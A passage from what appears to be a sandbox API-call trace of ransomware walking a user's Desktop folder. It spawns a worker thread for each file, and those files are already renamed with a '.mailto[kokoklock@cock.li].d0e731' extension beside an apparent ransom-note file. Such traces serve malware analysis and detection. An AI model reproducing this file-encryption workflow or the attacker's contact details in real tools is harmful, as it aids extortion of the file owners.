returned="C:\\Users\\FD1HVy\\Desktop\\0wq9P__Q.mp4.mailto[kokoklock@cock.li].d0e731" [0168.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fcfdb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368 [0168.912] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x689a04d0, ftCreationTime.dwHighDateTime=0x1d4ce65, ftLastAccessTime.dwLowDateTime=0xa53fbbe0, ftLastAccessTime.dwHighDateTime=0x1d4ce75, ftLastWriteTime.dwLowDateTime=0x834bb73e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9e56, dwReserved0=0x0, dwReserved1=0x0, cFileName="a9DEbidx78xhyfFcFlNC.gif.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="A9DEBI~1.D0E")) returned 1 [0168.912] wcscmp (_String1="a9DEbidx78xhyfFcFlNC.gif.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.912] wcscmp (_String1="a9DEbidx78xhyfFcFlNC.gif.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.912] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa4) returned 0x2f91f50 [0168.912] wcscpy (in: _Dest=0x2f91f50, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.912] wcscat (in: _Dest=0x2f91f50, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.912] wcscat (in: _Dest=0x2f91f50, _Source="a9DEbidx78xhyfFcFlNC.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\a9DEbidx78xhyfFcFlNC.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\a9DEbidx78xhyfFcFlNC.gif.mailto[kokoklock@cock.li].d0e731" [0168.912] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f91f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x364 [0168.913] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849b31c0, ftCreationTime.dwHighDateTime=0x1d4ce17, ftLastAccessTime.dwLowDateTime=0x2ed29ee0, ftLastAccessTime.dwHighDateTime=0x1d4cdef, ftLastWriteTime.dwLowDateTime=0x834e1876, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x16b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="b-J69rI1LaDazjYe1u.flv.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="B-J69R~1.D0E")) returned 1 [0168.913] wcscmp (_String1="b-J69rI1LaDazjYe1u.flv.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.913] wcscmp (_String1="b-J69rI1LaDazjYe1u.flv.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.913] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa0) returned 0x2feecc0 [0168.913] wcscpy (in: _Dest=0x2feecc0, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.913] wcscat (in: _Dest=0x2feecc0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.913] wcscat (in: _Dest=0x2feecc0, _Source="b-J69rI1LaDazjYe1u.flv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\b-J69rI1LaDazjYe1u.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\b-J69rI1LaDazjYe1u.flv.mailto[kokoklock@cock.li].d0e731" [0168.913] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2feecc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c8 [0168.914] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76215fc0, ftCreationTime.dwHighDateTime=0x1d4d547, ftLastAccessTime.dwLowDateTime=0x1bf00a00, ftLastAccessTime.dwHighDateTime=0x1d4c936, ftLastWriteTime.dwLowDateTime=0x83507aef, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x10354, dwReserved0=0x0, dwReserved1=0x0, cFileName="b0SqoygWnGE.mp4.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="B0SQOY~1.D0E")) returned 1 [0168.914] wcscmp (_String1="b0SqoygWnGE.mp4.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.914] wcscmp (_String1="b0SqoygWnGE.mp4.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.914] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x92) returned 0x2fe3540 [0168.914] wcscpy (in: _Dest=0x2fe3540, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.914] wcscat (in: _Dest=0x2fe3540, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.914] wcscat (in: _Dest=0x2fe3540, _Source="b0SqoygWnGE.mp4.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\b0SqoygWnGE.mp4.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\b0SqoygWnGE.mp4.mailto[kokoklock@cock.li].d0e731" [0168.914] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe3540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x36c [0168.915] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x418e6d50, ftCreationTime.dwHighDateTime=0x1d4cd83, ftLastAccessTime.dwLowDateTime=0x272eca40, ftLastAccessTime.dwHighDateTime=0x1d4d396, ftLastWriteTime.dwLowDateTime=0x8352dd75, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xb1de, dwReserved0=0x0, dwReserved1=0x0, cFileName="cGDwigzIS7.bmp.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="CGDWIG~1.D0E")) returned 1 [0168.915] wcscmp (_String1="cGDwigzIS7.bmp.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.915] wcscmp (_String1="cGDwigzIS7.bmp.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.915] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x90) returned 0x2fcf138 [0168.915] wcscpy (in: _Dest=0x2fcf138, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.915] wcscat (in: _Dest=0x2fcf138, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.915] wcscat (in: _Dest=0x2fcf138, _Source="cGDwigzIS7.bmp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\cGDwigzIS7.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\cGDwigzIS7.bmp.mailto[kokoklock@cock.li].d0e731" [0168.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fcf138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f4 [0168.915] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfc37870, ftCreationTime.dwHighDateTime=0x1d4cac3, ftLastAccessTime.dwLowDateTime=0x1a1adb70, ftLastAccessTime.dwHighDateTime=0x1d4cff2, ftLastWriteTime.dwLowDateTime=0x8357a1d2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11461, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrvV.gif.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="CRVVGI~1.D0E")) returned 1 [0168.916] wcscmp (_String1="CrvV.gif.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.916] wcscmp (_String1="CrvV.gif.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.916] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x84) returned 0x2f82e08 [0168.916] wcscpy (in: _Dest=0x2f82e08, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.916] wcscat (in: _Dest=0x2f82e08, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.916] wcscat (in: _Dest=0x2f82e08, _Source="CrvV.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\CrvV.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\CrvV.gif.mailto[kokoklock@cock.li].d0e731" [0168.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f82e08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f8 [0168.916] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x413fc340, ftCreationTime.dwHighDateTime=0x1d4cce2, ftLastAccessTime.dwLowDateTime=0x7cb6fe0, ftLastAccessTime.dwHighDateTime=0x1d4d10d, ftLastWriteTime.dwLowDateTime=0x835a0403, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x5c15, dwReserved0=0x0, dwReserved1=0x0, cFileName="d 2Q-T8WCBu7RyxxWaxa.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="D2Q-T8~1.D0E")) returned 1 [0168.916] wcscmp (_String1="d 2Q-T8WCBu7RyxxWaxa.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.916] wcscmp (_String1="d 2Q-T8WCBu7RyxxWaxa.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.917] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa4) returned 0x2f91d40 [0168.917] wcscpy (in: _Dest=0x2f91d40, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.917] wcscat (in: _Dest=0x2f91d40, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.917] wcscat (in: _Dest=0x2f91d40, _Source="d 2Q-T8WCBu7RyxxWaxa.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\d 2Q-T8WCBu7RyxxWaxa.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\d 2Q-T8WCBu7RyxxWaxa.png.mailto[kokoklock@cock.li].d0e731" [0168.917] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f91d40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6fc [0168.917] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83f9c221, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x83f9c221, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83f9c221, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0168.917] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0168.917] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0168.918] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa1310, ftCreationTime.dwHighDateTime=0x1d4c84d, ftLastAccessTime.dwLowDateTime=0xb08f8770, ftLastAccessTime.dwHighDateTime=0x1d4cbc1, ftLastWriteTime.dwLowDateTime=0x835c6621, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x64c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="dCCr2t7Rk.swf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="DCCR2T~1.D0E")) returned 1 [0168.918] wcscmp (_String1="dCCr2t7Rk.swf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.918] wcscmp (_String1="dCCr2t7Rk.swf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.918] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8e) returned 0x2fcf8f0 [0168.918] wcscpy (in: _Dest=0x2fcf8f0, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.918] wcscat (in: _Dest=0x2fcf8f0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.918] wcscat (in: _Dest=0x2fcf8f0, _Source="dCCr2t7Rk.swf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\dCCr2t7Rk.swf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\dCCr2t7Rk.swf.mailto[kokoklock@cock.li].d0e731" [0168.918] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fcf8f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x700 [0168.919] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40cfe8c0, ftCreationTime.dwHighDateTime=0x1d4d2e8, ftLastAccessTime.dwLowDateTime=0x1ffdf680, ftLastAccessTime.dwHighDateTime=0x1d4d09c, ftLastWriteTime.dwLowDateTime=0x835ec85e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="deQ4eVpb.avi.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="DEQ4EV~1.D0E")) returned 1 [0168.919] wcscmp (_String1="deQ4eVpb.avi.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.919] wcscmp (_String1="deQ4eVpb.avi.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.919] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8c) returned 0x2fcf268 [0168.919] wcscpy (in: _Dest=0x2fcf268, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.919] wcscat (in: _Dest=0x2fcf268, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.919] wcscat (in: _Dest=0x2fcf268, _Source="deQ4eVpb.avi.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\deQ4eVpb.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\deQ4eVpb.avi.mailto[kokoklock@cock.li].d0e731" [0168.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fcf268, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x704 [0168.920] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0168.920] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0168.920] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0168.920] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363c5bc0, ftCreationTime.dwHighDateTime=0x1d4d340, ftLastAccessTime.dwLowDateTime=0xa5cc3740, ftLastAccessTime.dwHighDateTime=0x1d4cc6e, ftLastWriteTime.dwLowDateTime=0x83612b39, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x6f2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DhqnA4nJvwKX5.bmp.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="DHQNA4~1.D0E")) returned 1 [0168.920] wcscmp (_String1="DhqnA4nJvwKX5.bmp.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.920] wcscmp (_String1="DhqnA4nJvwKX5.bmp.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.920] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x96) returned 0x2fe3ea0 [0168.920] wcscpy (in: _Dest=0x2fe3ea0, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.920] wcscat (in: _Dest=0x2fe3ea0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.920] wcscat (in: _Dest=0x2fe3ea0, _Source="DhqnA4nJvwKX5.bmp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\DhqnA4nJvwKX5.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\DhqnA4nJvwKX5.bmp.mailto[kokoklock@cock.li].d0e731" [0168.920] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe3ea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x708 [0168.921] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2672ace0, ftCreationTime.dwHighDateTime=0x1d4c877, ftLastAccessTime.dwLowDateTime=0x34096220, ftLastAccessTime.dwHighDateTime=0x1d4cb1c, ftLastWriteTime.dwLowDateTime=0x83638d3a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x14f03, dwReserved0=0x0, dwReserved1=0x0, cFileName="DTJ2uqAp.gif.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="DTJ2UQ~1.D0E")) returned 1 [0168.921] wcscmp (_String1="DTJ2uqAp.gif.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.921] wcscmp (_String1="DTJ2uqAp.gif.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.921] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8c) returned 0x2fcfe48 [0168.921] wcscpy (in: _Dest=0x2fcfe48, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.921] wcscat (in: _Dest=0x2fcfe48, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.921] wcscat (in: _Dest=0x2fcfe48, _Source="DTJ2uqAp.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\DTJ2uqAp.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\DTJ2uqAp.gif.mailto[kokoklock@cock.li].d0e731" [0168.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fcfe48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x70c [0168.922] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fea32f0, ftCreationTime.dwHighDateTime=0x1d4d5c3, ftLastAccessTime.dwLowDateTime=0x9cd11860, ftLastAccessTime.dwHighDateTime=0x1d4c5d2, ftLastWriteTime.dwLowDateTime=0x83685ad5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x16446, dwReserved0=0x0, dwReserved1=0x0, cFileName="fBoKzxbN1Omw23QX.jpg.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="FBOKZX~1.D0E")) returned 1 [0168.922] wcscmp (_String1="fBoKzxbN1Omw23QX.jpg.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.922] wcscmp (_String1="fBoKzxbN1Omw23QX.jpg.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.922] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2fed868 [0168.922] wcscpy (in: _Dest=0x2fed868, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.922] wcscat (in: _Dest=0x2fed868, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.922] wcscat (in: _Dest=0x2fed868, _Source="fBoKzxbN1Omw23QX.jpg.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\fBoKzxbN1Omw23QX.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\fBoKzxbN1Omw23QX.jpg.mailto[kokoklock@cock.li].d0e731" [0168.922] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fed868, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x710 [0168.923] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0dba340, ftCreationTime.dwHighDateTime=0x1d4cedc, ftLastAccessTime.dwLowDateTime=0x3c76b060, ftLastAccessTime.dwHighDateTime=0x1d4cf7d, ftLastWriteTime.dwLowDateTime=0x836bd7c1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9651, dwReserved0=0x0, dwReserved1=0x0, cFileName="fTZcunuZHWbZglS iVkr.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="FTZCUN~1.D0E")) returned 1 [0168.923] wcscmp (_String1="fTZcunuZHWbZglS iVkr.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.923] wcscmp (_String1="fTZcunuZHWbZglS iVkr.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.923] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa4) returned 0x2f915b0 [0168.923] wcscpy (in: _Dest=0x2f915b0, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.924] wcscat (in: _Dest=0x2f915b0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.924] wcscat (in: _Dest=0x2f915b0, _Source="fTZcunuZHWbZglS iVkr.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\fTZcunuZHWbZglS iVkr.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\fTZcunuZHWbZglS iVkr.png.mailto[kokoklock@cock.li].d0e731" [0168.924] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f915b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x714 [0168.924] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ce6ddb0, ftCreationTime.dwHighDateTime=0x1d4cb8d, ftLastAccessTime.dwLowDateTime=0x17849820, ftLastAccessTime.dwHighDateTime=0x1d4d37f, ftLastWriteTime.dwLowDateTime=0x836f7869, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x7d56, dwReserved0=0x0, dwReserved1=0x0, cFileName="FYxfQApyAF.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="FYXFQA~1.D0E")) returned 1 [0168.924] wcscmp (_String1="FYxfQApyAF.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.924] wcscmp (_String1="FYxfQApyAF.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.924] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x90) returned 0x2fcff78 [0168.924] wcscpy (in: _Dest=0x2fcff78, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.924] wcscat (in: _Dest=0x2fcff78, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.924] wcscat (in: _Dest=0x2fcff78, _Source="FYxfQApyAF.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\FYxfQApyAF.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\FYxfQApyAF.png.mailto[kokoklock@cock.li].d0e731" [0168.925] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fcff78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x718 [0168.925] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x821aacc0, ftCreationTime.dwHighDateTime=0x1d4c695, ftLastAccessTime.dwLowDateTime=0x64383870, ftLastAccessTime.dwHighDateTime=0x1d4cc90, ftLastWriteTime.dwLowDateTime=0x8371dad1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xbbb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="gr_f.avi.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="GR_FAV~1.D0E")) returned 1 [0168.925] wcscmp 